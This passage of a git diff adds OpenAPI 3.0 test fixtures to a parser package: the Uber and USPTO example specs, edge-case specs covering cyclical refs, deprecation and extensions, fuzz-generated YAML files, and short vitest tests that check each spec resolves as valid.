+ parameters: + - name: latitude + in: query + description: Latitude component of location. + required: true + schema: + type: number + format: double + - name: longitude + in: query + description: Longitude component of location. + required: true + schema: + type: number + format: double + security: + - apikey: [] + tags: + - Products + responses: + 200: + description: An array of products + content: + application/json: + schema: + $ref: "#/components/schemas/ProductList" + default: + description: Unexpected error + content: + application/json: + schema: + $ref: "#/components/schemas/Error" + /estimates/price: + get: + summary: Price Estimates + description: The Price Estimates endpoint returns an estimated price range for each product offered at a given location. The price estimate is provided as a formatted string with the full price range and the localized currency symbol.

The response also includes low and high estimates, and the [ISO 4217](http://en.wikipedia.org/wiki/ISO_4217) currency code for situations requiring currency conversion. When surge is active for a particular product, its surge_multiplier will be greater than 1, but the price estimate already factors in this multiplier. + parameters: + - name: start_latitude + in: query + description: Latitude component of start location. + required: true + schema: + type: number + format: double + - name: start_longitude + in: query + description: Longitude component of start location. + required: true + schema: + type: number + format: double + - name: end_latitude + in: query + description: Latitude component of end location. + required: true + schema: + type: number + format: double + - name: end_longitude + in: query + description: Longitude component of end location. + required: true + schema: + type: number + format: double + tags: + - Estimates + responses: + 200: + description: An array of price estimates by product + content: + application/json: + schema: + type: array + items: + $ref: "#/components/schemas/PriceEstimate" + default: + description: Unexpected error + content: + application/json: + schema: + $ref: "#/components/schemas/Error" + /estimates/time: + get: + summary: Time Estimates + description: The Time Estimates endpoint returns ETAs for all products offered at a given location, with the responses expressed as integers in seconds. We recommend that this endpoint be called every minute to provide the most accurate, up-to-date ETAs. + parameters: + - name: start_latitude + in: query + description: Latitude component of start location. + required: true + schema: + type: number + format: double + - name: start_longitude + in: query + description: Longitude component of start location. + required: true + schema: + type: number + format: double + - name: customer_uuid + in: query + schema: + type: string + format: uuid + description: Unique customer identifier to be used for experience customization. + - name: product_id + in: query + schema: + type: string + description: Unique identifier representing a specific product for a given latitude & longitude. + tags: + - Estimates + responses: + 200: + description: An array of products + content: + application/json: + schema: + type: array + items: + $ref: "#/components/schemas/Product" + default: + description: Unexpected error + content: + application/json: + schema: + $ref: "#/components/schemas/Error" + /me: + get: + summary: User Profile + description: The User Profile endpoint returns information about the Uber user that has authorized with the application. + tags: + - User + responses: + 200: + description: Profile information for a user + content: + application/json: + schema: + $ref: "#/components/schemas/Profile" + default: + description: Unexpected error + content: + application/json: + schema: + $ref: "#/components/schemas/Error" + /history: + get: + summary: User Activity + description: The User Activity endpoint returns data about a user's lifetime activity with Uber. The response will include pickup locations and times, dropoff locations and times, the distance of past requests, and information about which products were requested.

The history array in the response will have a maximum length based on the limit parameter. The response value count may exceed limit, therefore subsequent API requests may be necessary. + parameters: + - name: offset + in: query + schema: + type: integer + format: int32 + description: Offset the list of returned results by this amount. Default is zero. + - name: limit + in: query + schema: + type: integer + format: int32 + description: Number of items to retrieve. Default is 5, maximum is 100. + tags: + - User + responses: + 200: + description: History information for the given user + content: + application/json: + schema: + $ref: "#/components/schemas/Activities" + default: + description: Unexpected error + content: + application/json: + schema: + $ref: "#/components/schemas/Error" +components: + securitySchemes: + apikey: + type: apiKey + name: server_token + in: query + schemas: + Product: + properties: + product_id: + type: string + description: Unique identifier representing a specific product for a given latitude & longitude. For example, uberX in San Francisco will have a different product_id than uberX in Los Angeles. + description: + type: string + description: Description of product. + display_name: + type: string + description: Display name of product. + capacity: + type: integer + description: Capacity of product. For example, 4 people. + image: + type: string + description: Image URL representing the product. + ProductList: + properties: + products: + description: Contains the list of products + type: array + items: + $ref: "#/components/schemas/Product" + PriceEstimate: + properties: + product_id: + type: string + description: Unique identifier representing a specific product for a given latitude & longitude. For example, uberX in San Francisco will have a different product_id than uberX in Los Angeles + currency_code: + type: string + description: "[ISO 4217](http://en.wikipedia.org/wiki/ISO_4217) currency code." + display_name: + type: string + description: Display name of product. + estimate: + type: string + description: Formatted string of estimate in local currency of the start location. Estimate could be a range, a single number (flat rate) or "Metered" for TAXI. + low_estimate: + type: number + description: Lower bound of the estimated price. + high_estimate: + type: number + description: Upper bound of the estimated price. + surge_multiplier: + type: number + description: Expected surge multiplier. Surge is active if surge_multiplier is greater than 1. Price estimate already factors in the surge multiplier. + Profile: + properties: + first_name: + type: string + description: First name of the Uber user. + last_name: + type: string + description: Last name of the Uber user. + email: + type: string + description: Email address of the Uber user + picture: + type: string + description: Image URL of the Uber user. + promo_code: + type: string + description: Promo code of the Uber user. + Activity: + properties: + uuid: + type: string + description: Unique identifier for the activity + Activities: + properties: + offset: + type: integer + format: int32 + description: Position in pagination. + limit: + type: integer + format: int32 + description: Number of items to retrieve (100 max). + count: + type: integer + format: int32 + description: Total number of items available. + history: + type: array + items: + $ref: "#/components/schemas/Activity" + Error: + properties: + code: + type: integer + format: int32 + message: + type: string + fields: + type: string + diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/uspto.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/uspto.yaml new file mode 100644 index 0000000..8e9b159 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/uspto.yaml @@ -0,0 +1,210 @@ +openapi: 3.0.1 +servers: + - url: '{scheme}://developer.uspto.gov/ds-api' + variables: + scheme: + description: 'The Data Set API is accessible via https and http' + enum: + - 'https' + - 'http' + default: 'https' +info: + description: >- + The Data Set API (DSAPI) allows the public users to discover and search + USPTO exported data sets. This is a generic API that allows USPTO users to + make any CSV based data files searchable through API. With the help of GET + call, it returns the list of data fields that are searchable. With the help + of POST call, data can be fetched based on the filters on the field names. + Please note that POST call is used to search the actual data. The reason for + the POST call is that it allows users to specify any complex search criteria + without worry about the GET size limitations as well as encoding of the + input parameters. + version: 1.0.0 + title: USPTO Data Set API + contact: + name: Open Data Portal + url: 'https://developer.uspto.gov' + email: developer@uspto.gov +tags: + - name: metadata + description: Find out about the data sets + - name: search + description: Search a data set +paths: + /: + get: + tags: + - metadata + operationId: list-data-sets + summary: List available data sets + responses: + '200': + description: Returns a list of data sets + content: + application/json: + schema: + $ref: '#/components/schemas/dataSetList' + example: + { + "total": 2, + "apis": [ + { + "apiKey": "oa_citations", + "apiVersionNumber": "v1", + "apiUrl": "https://developer.uspto.gov/ds-api/oa_citations/v1/fields", + "apiDocumentationUrl": "https://developer.uspto.gov/ds-api-docs/index.html?url=https://developer.uspto.gov/ds-api/swagger/docs/oa_citations.json" + }, + { + "apiKey": "cancer_moonshot", + "apiVersionNumber": "v1", + "apiUrl": "https://developer.uspto.gov/ds-api/cancer_moonshot/v1/fields", + "apiDocumentationUrl": "https://developer.uspto.gov/ds-api-docs/index.html?url=https://developer.uspto.gov/ds-api/swagger/docs/cancer_moonshot.json" + } + ] + } + /{dataset}/{version}/fields: + get: + tags: + - metadata + summary: >- + Provides the general information about the API and the list of fields + that can be used to query the dataset. + description: >- + This GET API returns the list of all the searchable field names that are + in the oa_citations. Please see the 'fields' attribute which returns an + array of field names. Each field or a combination of fields can be + searched using the syntax options shown below. + operationId: list-searchable-fields + parameters: + - name: dataset + in: path + description: 'Name of the dataset.' + required: true + example: "oa_citations" + schema: + type: string + - name: version + in: path + description: Version of the dataset. + required: true + example: "v1" + schema: + type: string + responses: + '200': + description: >- + The dataset API for the given version is found and it is accessible + to consume. + content: + application/json: + schema: + type: string + '404': + description: >- + The combination of dataset name and version is not found in the + system or it is not published yet to be consumed by public. + content: + application/json: + schema: + type: string + /{dataset}/{version}/records: + post: + tags: + - search + summary: >- + Provides search capability for the data set with the given search + criteria. + description: >- + This API is based on Solr/Lucense Search. The data is indexed using + SOLR. This GET API returns the list of all the searchable field names + that are in the Solr Index. Please see the 'fields' attribute which + returns an array of field names. Each field or a combination of fields + can be searched using the Solr/Lucene Syntax. Please refer + https://lucene.apache.org/core/3_6_2/queryparsersyntax.html#Overview for + the query syntax. List of field names that are searchable can be + determined using above GET api. + operationId: perform-search + parameters: + - name: version + in: path + description: Version of the dataset. + required: true + schema: + type: string + default: v1 + - name: dataset + in: path + description: 'Name of the dataset. In this case, the default value is oa_citations' + required: true + schema: + type: string + default: oa_citations + responses: + '200': + description: successful operation + content: + application/json: + schema: + type: array + items: + type: object + additionalProperties: + type: object + '404': + description: No matching record found for the given criteria. + requestBody: + content: + application/x-www-form-urlencoded: + schema: + type: object + properties: + criteria: + description: >- + Uses Lucene Query Syntax in the format of + propertyName:value, propertyName:[num1 TO num2] and date + range format: propertyName:[yyyyMMdd TO yyyyMMdd]. In the + response please see the 'docs' element which has the list of + record objects. Each record structure would consist of all + the fields and their corresponding values. + type: string + default: '*:*' + start: + description: Starting record number. Default value is 0. + type: integer + default: 0 + rows: + description: >- + Specify number of rows to be returned. If you run the search + with default values, in the response you will see 'numFound' + attribute which will tell the number of records available in + the dataset. + type: integer + default: 100 + required: + - criteria +components: + schemas: + dataSetList: + type: object + properties: + total: + type: integer + apis: + type: array + items: + type: object + properties: + apiKey: + type: string + description: To be used as a dataset parameter value + apiVersionNumber: + type: string + description: To be used as a version parameter value + apiUrl: + type: string + format: uriref + description: "The URL describing the dataset's fields" + apiDocumentationUrl: + type: string + format: uriref + description: A URL to the API console for each API diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/cyclical.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/cyclical.test.ts new file mode 100644 index 0000000..9320e7e --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/cyclical.test.ts @@ -0,0 +1,13 @@ +import { describe, expect, it } from 'vitest' + +import { resolve } from '../../../../src' +import cyclical from './cyclical.yaml' + +describe.todo('cyclical', () => { + it('passes', async () => { + const result = await resolve(cyclical) + + expect(result.valid).toBe(true) + expect(result.version).toBe('3.0') + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/cyclical.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/cyclical.yaml new file mode 100644 index 0000000..6122900 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/cyclical.yaml @@ -0,0 +1,9 @@ +openapi: 3.0.0 +info: + title: API + version: 1.0.0 +paths: {} +components: + schemas: + top: + $ref: '../partial/cycledef.yaml#/components/schemas/top' diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/deprecated.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/deprecated.test.ts new file mode 100644 index 0000000..504aec1 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/deprecated.test.ts @@ -0,0 +1,13 @@ +import { describe, expect, it } from 'vitest' + +import { resolve } from '../../../../src' +import deprecated from './deprecated.yaml' + +describe('deprecated', () => { + it('passes', async () => { + const result = await resolve(deprecated) + + expect(result.valid).toBe(true) + expect(result.version).toBe('3.0') + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/deprecated.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/deprecated.yaml new file mode 100644 index 0000000..c4ddfb5 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/deprecated.yaml @@ -0,0 +1,18 @@ +openapi: 3.0.1 +info: + title: API + version: 1.0.0 +paths: + /: + get: + deprecated: true + parameters: + - name: test + in: query + deprecated: true + schema: + type: string + deprecated: true + responses: + '200': + description: OK diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/extensionsEverywhere.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/extensionsEverywhere.test.ts new file mode 100644 index 0000000..3577412 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/extensionsEverywhere.test.ts @@ -0,0 +1,13 @@ +import { describe, expect, it } from 'vitest' + +import { resolve } from '../../../../src' +import extensionsEverywhere from './extensionsEverywhere.yaml' + +describe('extensionsEverywhere', () => { + it('passes', async () => { + const result = await resolve(extensionsEverywhere) + + expect(result.valid).toBe(true) + expect(result.version).toBe('3.0') + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/extensionsEverywhere.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/extensionsEverywhere.yaml new file mode 100644 index 0000000..109c533 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/extensionsEverywhere.yaml @@ -0,0 +1,334 @@ +openapi: 3.0.0 +x-an-extension-null: null +x-an-extension-primitive: 1 +x-an-extension-array: [] +x-an-extension-object: {} +info: + version: 0.0.0 + title: Thing API (@alasdairhurst on GitHub) + description: https://github.com/apigee-127/sway/pull/220#issuecomment-587568565 + contact: + name: Axway Person + url: http://www.axway.com + email: foo@bar.com + x-an-extension-null: null + x-an-extension-primitive: 1 + x-an-extension-array: [] + x-an-extension-object: {} + license: + name: FREE + url: http://www.axway.com + x-an-extension-null: null + x-an-extension-primitive: 1 + x-an-extension-array: [] + x-an-extension-object: {} + x-an-extension-null: null + x-an-extension-primitive: 1 + x-an-extension-array: [] + x-an-extension-object: {} +paths: + x-an-extension-null: null + x-an-extension-primitive: 1 + x-an-extension-array: [] + x-an-extension-object: + get: + description: this is an x- extension and not a path/method + responses: + default: + description: too lazy to make a 200 + x-not-a-path-but-used-in-ref: + get: + description: this is a method used by a path which isn't + 'x-not-a-path-but-used-in-ref' + responses: + default: + description: too lazy to make a 200 + /thingEmpty: {} + /thingyref: + $ref: "#/paths/x-not-a-path-but-used-in-ref" + /thing: + parameters: + - $ref: "#/components/parameters/apiKey" + get: + x-an-extension-null: null + x-an-extension-primitive: 1 + x-an-extension-array: [] + x-an-extension-object: {} + description: has no operation id, no parameters + responses: + default: + description: too lazy to make a 200 + patch: + x-an-extension-null: null + x-an-extension-primitive: 1 + x-an-extension-array: [] + x-an-extension-object: {} + description: updates name + parameters: + - name: name + in: query + schema: + type: string + - name: apiKey + in: query + description: Overrides the path item parameters + schema: + type: number + responses: + "204": + description: done + delete: + x-an-extension-null: null + x-an-extension-primitive: 1 + x-an-extension-array: [] + x-an-extension-object: {} + tags: + - foo + - bar + - baz + summary: interesting endpoint which deletes something for the sake of it. + externalDocs: + description: foo + url: http://www.axway.com + x-an-extension-null: null + x-an-extension-primitive: 1 + x-an-extension-array: [] + x-an-extension-object: {} + operationId: deleteNameUnique + description: deletes name + parameters: + - $ref: "#/components/parameters/name" + - $ref: "#/components/parameters/fooArr" + - $ref: "#/components/parameters/barInt" + responses: + "201": + description: done + put: + x-an-extension-null: null + x-an-extension-primitive: 1 + x-an-extension-array: [] + x-an-extension-object: {} + operationId: uploadThing + requestBody: + content: + multipart/form-data: + schema: + type: object + properties: + thing: + description: file to upload + type: string + format: binary + x-an-extension-null: null + x-an-extension-primitive: 1 + x-an-extension-array: [] + x-an-extension-object: {} + required: + - thing + responses: + default: + description: Updated + post: + x-an-extension-null: null + x-an-extension-primitive: 1 + x-an-extension-array: [] + x-an-extension-object: {} + operationId: upsert + requestBody: + content: + application/json: + schema: + $ref: "#/components/schemas/wannaBeThing" + deprecated: true + responses: + "200": + x-an-extension-null: null + x-an-extension-primitive: 1 + x-an-extension-array: [] + x-an-extension-object: {} + description: Updated + headers: + Location: + x-an-extension-null: null + x-an-extension-primitive: 1 + x-an-extension-array: [] + x-an-extension-object: {} + description: Location of new resource + schema: + type: string + content: + application/json: + schema: + $ref: "#/components/schemas/thing" + examples: + response: + value: + name: Puma + id: Dog + "201": + description: Created + headers: + Location: + description: Location of new resource + schema: + type: string + "204": + description: Updated no content + "400": + description: Bad request + content: + application/json: + schema: + $ref: "#/components/schemas/error" + "500": + description: Server error + content: + application/json: + schema: + $ref: "#/components/schemas/serverError" + "501": + description: Inline schema + content: + application/json: + schema: + type: object + description: why not + x-an-extension-null: null + x-an-extension-primitive: 1 + x-an-extension-array: [] + x-an-extension-object: + description: "" + default: + $ref: "#/components/responses/serverError" +servers: + - url: http://localhost:8080/test + - url: https://localhost:8080/test + - url: ws://localhost:8080/test + - url: wss://localhost:8080/test +components: + parameters: + apiKey: + in: query + name: apiKey + required: true + schema: + type: string + name: + name: name + in: query + allowEmptyValue: true + schema: + type: string + format: password + enum: + - foo + - bar + - baz + fooArr: + name: fooArr + in: query + description: an array of array of strings no bigger than 10 characters beginning with + h y or m + style: pipeDelimited + schema: + type: array + items: + type: array + default: + - hello + - me + items: + type: string + maxLength: 10 + minLength: 2 + pattern: ^[hmy] + uniqueItems: true + default: + - - hello + - you + - - me + barInt: + x-an-extension-null: null + x-an-extension-primitive: 1 + x-an-extension-array: [] + x-an-extension-object: {} + in: query + description: an integer which is a multiple of 5 but bigger than 5 and no bigger than + 100 + name: barInt + schema: + type: integer + minimum: 5 + maximum: 100 + exclusiveMinimum: true + exclusiveMaximum: false + multipleOf: 5 + responses: + serverError: + description: Server error + content: + application/json: + schema: + $ref: "#/components/schemas/serverError" + schemas: + geo: + description: A geographical coordinate + type: object + properties: + latitude: + type: number + longitude: + type: number + wannaBeThing: + x-an-extension-null: null + x-an-extension-primitive: 1 + x-an-extension-array: [] + x-an-extension-object: {} + discriminator: + propertyName: name + type: object + properties: + name: + type: string + required: + - name + thing: + x-an-extension-null: null + x-an-extension-primitive: 1 + x-an-extension-array: [] + x-an-extension-object: {} + type: object + properties: + id: + type: number + name: + type: string + required: + - id + - name + serverError: + x-an-extension-null: null + x-an-extension-primitive: 1 + x-an-extension-array: [] + x-an-extension-object: {} + type: object + properties: + message: + type: string + location: + $ref: "#/components/schemas/geo" + required: + - message + error: + x-an-extension-null: null + x-an-extension-primitive: 1 + x-an-extension-array: [] + x-an-extension-object: {} + type: object + properties: + messages: + type: array + items: + type: string + required: + - messages diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/externalPathItemRef.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/externalPathItemRef.test.ts new file mode 100644 index 0000000..a3db0f3 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/externalPathItemRef.test.ts @@ -0,0 +1,19 @@ +import { describe, expect, it } from 'vitest' + +import { loadFiles, resolve } from '../../../../src' +import { relativePath } from '../../../../tests/utils' + +const EXAMPLE_FILE = relativePath( + import.meta.url, + './pass/externalPathItemRef.yaml', +) + +describe('externalPathItemRef', () => { + it('passes', async () => { + const filesystem = loadFiles(EXAMPLE_FILE) + const result = await resolve(filesystem) + + expect(result.valid).toBe(true) + expect(result.version).toBe('3.0') + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/externalPathItemRef.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/externalPathItemRef.yaml new file mode 100644 index 0000000..0dba6a5 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/externalPathItemRef.yaml @@ -0,0 +1,13 @@ +openapi: 3.0.0 +info: + title: Test valid external $ref of PathItem + version: 1.0.0 + +servers: +- url: https://acme.com/api/v1 + +paths: + /test: + $ref: '../resources/include.yaml#/paths/~1test' + /test2: + $ref: '../resources/include.yaml#/paths/~1' diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fiendish/ref-encoding2.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fiendish/ref-encoding2.test.ts new file mode 100644 index 0000000..b58f7c9 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fiendish/ref-encoding2.test.ts @@ -0,0 +1,13 @@ +import { describe, expect, it } from 'vitest' + +import { resolve } from '../../../../../src' +import refEncoding2 from './ref-encoding2.yaml' + +describe('ref-encoding2', () => { + it('passes', async () => { + const result = await resolve(refEncoding2) + + expect(result.valid).toBe(true) + expect(result.version).toBe('2.0') + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fiendish/ref-encoding2.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fiendish/ref-encoding2.yaml new file mode 100644 index 0000000..f82e5a9 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fiendish/ref-encoding2.yaml @@ -0,0 +1,18 @@ +swagger: '2.0' +info: + title: API + version: 1.0.0 +paths: + /: + get: + responses: + default: + description: OK + schema: + $ref: '#/definitions/container/properties/with%20space' +definitions: + container: + type: object + properties: + 'with space': + type: string diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fiendish/ref-encoding3.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fiendish/ref-encoding3.test.ts new file mode 100644 index 0000000..5c99fbd --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fiendish/ref-encoding3.test.ts @@ -0,0 +1,13 @@ +import { describe, expect, it } from 'vitest' + +import { resolve } from '../../../../../src' +import refEncoding3 from './ref-encoding3.yaml' + +describe('ref-encoding3', () => { + it('passes', async () => { + const result = await resolve(refEncoding3) + + expect(result.valid).toBe(true) + expect(result.version).toBe('3.0') + }) +}) diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fiendish/ref-encoding3.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fiendish/ref-encoding3.yaml new file mode 100644 index 0000000..b02d989 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fiendish/ref-encoding3.yaml @@ -0,0 +1,24 @@ +openapi: 3.0.1 +info: + title: API + version: 1.0.0 +paths: + /: + get: + responses: + default: + description: OK + content: + application/json: + schema: + $ref: '#/components/schemas/container/properties/with%20space' + text/xml: + schema: + $ref: '#/components/schemas/container/properties/with+space' +components: + schemas: + container: + type: object + properties: + 'with space': + type: string diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/23827c62-76c5-4bf0-b756-7a038ddf718a.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/23827c62-76c5-4bf0-b756-7a038ddf718a.yaml new file mode 100644 index 0000000..8ccd2e3 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/23827c62-76c5-4bf0-b756-7a038ddf718a.yaml @@ -0,0 +1,6 @@ +openapi: '3.0.6-`C47:!n.]Ro' +info: + title: minim commodo sed cillum aliqua + version: cillum qui ea minim Excepteur +paths: {} +x-testcase: 'should work without optional property: security' diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/2e094966-d748-42c6-a0f1-f0fa868f7428.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/2e094966-d748-42c6-a0f1-f0fa868f7428.yaml new file mode 100644 index 0000000..b6b3024 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/2e094966-d748-42c6-a0f1-f0fa868f7428.yaml @@ -0,0 +1,13 @@ +openapi: '3.0.1-5f=R[b' +info: + title: est in sint minim + version: irure in pariatur + license: + name: '' +paths: {} +externalDocs: + url: http://example.com/ +servers: + - url: http://example.com/ + description: Excepteur Ut nulla deser +x-testcase: 'within array test: should work with all required properties' diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/32fae80f-7937-43ba-815c-f00ea6aeb48b.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/32fae80f-7937-43ba-815c-f00ea6aeb48b.yaml new file mode 100644 index 0000000..2807dda --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/32fae80f-7937-43ba-815c-f00ea6aeb48b.yaml @@ -0,0 +1,8 @@ +openapi: 3.0.5-S) +info: + title: in amet culpa reprehenderit + version: non sunt et ipsum + contact: + email: 1Kl8Qi2@NW.jv +paths: {} +x-testcase: 'should work without optional property: components' diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/3a3cacd9-34f1-44e7-a9a7-ffe24888a624.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/3a3cacd9-34f1-44e7-a9a7-ffe24888a624.yaml new file mode 100644 index 0000000..4a442c2 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/3a3cacd9-34f1-44e7-a9a7-ffe24888a624.yaml @@ -0,0 +1,15 @@ +openapi: 3.0.7 +info: + title: cillum anim magna occaecat + version: ut + description: quis laboris adipisicing +paths: {} +components: + securitySchemes: + T0: + type: openIdConnect + openIdConnectUrl: http://example.com + description: sunt ut +tags: + - name: in +x-testcase: 'within array test: should work without optional property: description' diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/50aea792-0425-474d-938b-fc8a7387739a.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/50aea792-0425-474d-938b-fc8a7387739a.yaml new file mode 100644 index 0000000..f6af9dd --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/50aea792-0425-474d-938b-fc8a7387739a.yaml @@ -0,0 +1,10 @@ +openapi: 3.0.2 +info: + title: magna Duis ipsum + version: occaecat amet Ut ex nisi +paths: + /: {} +tags: + - name: ex + description: ullamco proident +x-testcase: 'within array test: should work with all required properties' diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/6012094d-8d46-4386-84b5-4829d7e7f9af.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/6012094d-8d46-4386-84b5-4829d7e7f9af.yaml new file mode 100644 index 0000000..2ebcec4 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/6012094d-8d46-4386-84b5-4829d7e7f9af.yaml @@ -0,0 +1,9 @@ +openapi: 3.0.7-xcbK*d|fB +info: + title: do + version: fugiat ea + termsOfService: http://oLAutx0.org +paths: {} +externalDocs: + url: http://foo.bar +x-testcase: 'should work without optional property: servers' diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/71d901df-4c4c-40da-bb0a-41aa6f3b5533.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/71d901df-4c4c-40da-bb0a-41aa6f3b5533.yaml new file mode 100644 index 0000000..4a442c2 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/71d901df-4c4c-40da-bb0a-41aa6f3b5533.yaml @@ -0,0 +1,15 @@ +openapi: 3.0.7 +info: + title: cillum anim magna occaecat + version: ut + description: quis laboris adipisicing +paths: {} +components: + securitySchemes: + T0: + type: openIdConnect + openIdConnectUrl: http://example.com + description: sunt ut +tags: + - name: in +x-testcase: 'within array test: should work without optional property: description' diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/8331d5cd-c1fb-4c8c-b3e4-638c10fa4d80.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/8331d5cd-c1fb-4c8c-b3e4-638c10fa4d80.yaml new file mode 100644 index 0000000..fdd6299 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/8331d5cd-c1fb-4c8c-b3e4-638c10fa4d80.yaml @@ -0,0 +1,24 @@ +openapi: 3.0.5-y`56g;T +info: + title: dolor + version: Excepteur +paths: {} +components: + securitySchemes: + Q7EKAnnh7: + type: openIdConnect + openIdConnectUrl: http://example.com +tags: + - name: do repre + description: fugiat nulla + - name: aliquip elit + - name: qui anim pariatur occaecat cupidatat + - name: adipisicing officia no +servers: + - url: http://example.com + description: commodo ea aliquip voluptate qui + - url: https://foo.bat + description: ut Lorem labore + - url: http://example.com/foo/bar + - url: http://www.example.com/foo +x-testcase: 'should work without optional property: externalDocs' diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/adca3491-a606-4ede-b895-678710727380.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/adca3491-a606-4ede-b895-678710727380.yaml new file mode 100644 index 0000000..8714ae5 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/adca3491-a606-4ede-b895-678710727380.yaml @@ -0,0 +1,13 @@ +openapi: '3.0.1-5f=R[b' +info: + title: est in sint minim + version: irure in pariatur + license: + name: '' +paths: {} +externalDocs: + url: http://example.com +servers: + - url: http://example.com + description: Excepteur Ut nulla deser +x-testcase: 'within array test: should work with all required properties' diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/e0c69574-9408-4c46-baac-5d3b98b46b67.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/e0c69574-9408-4c46-baac-5d3b98b46b67.yaml new file mode 100644 index 0000000..eb1f3c9 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/e0c69574-9408-4c46-baac-5d3b98b46b67.yaml @@ -0,0 +1,8 @@ +openapi: 3.0.6-I&ZH7R +info: + title: esse cupidatat labore aute Ut + version: cupidatat + license: + name: nulla velit ex occaecat +paths: {} +x-testcase: 'should work without optional property: tags' diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/f8c97f2c-efa9-4a93-bd39-e7008df12b47.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/f8c97f2c-efa9-4a93-bd39-e7008df12b47.yaml new file mode 100644 index 0000000..f6af9dd --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/f8c97f2c-efa9-4a93-bd39-e7008df12b47.yaml @@ -0,0 +1,10 @@ +openapi: 3.0.2 +info: + title: magna Duis ipsum + version: occaecat amet Ut ex nisi +paths: + /: {} +tags: + - name: ex + description: ullamco proident +x-testcase: 'within array test: should work with all required properties' diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Different_parameters.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Different_parameters.md.yaml new file mode 100644 index 0000000..bf55995 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Different_parameters.md.yaml 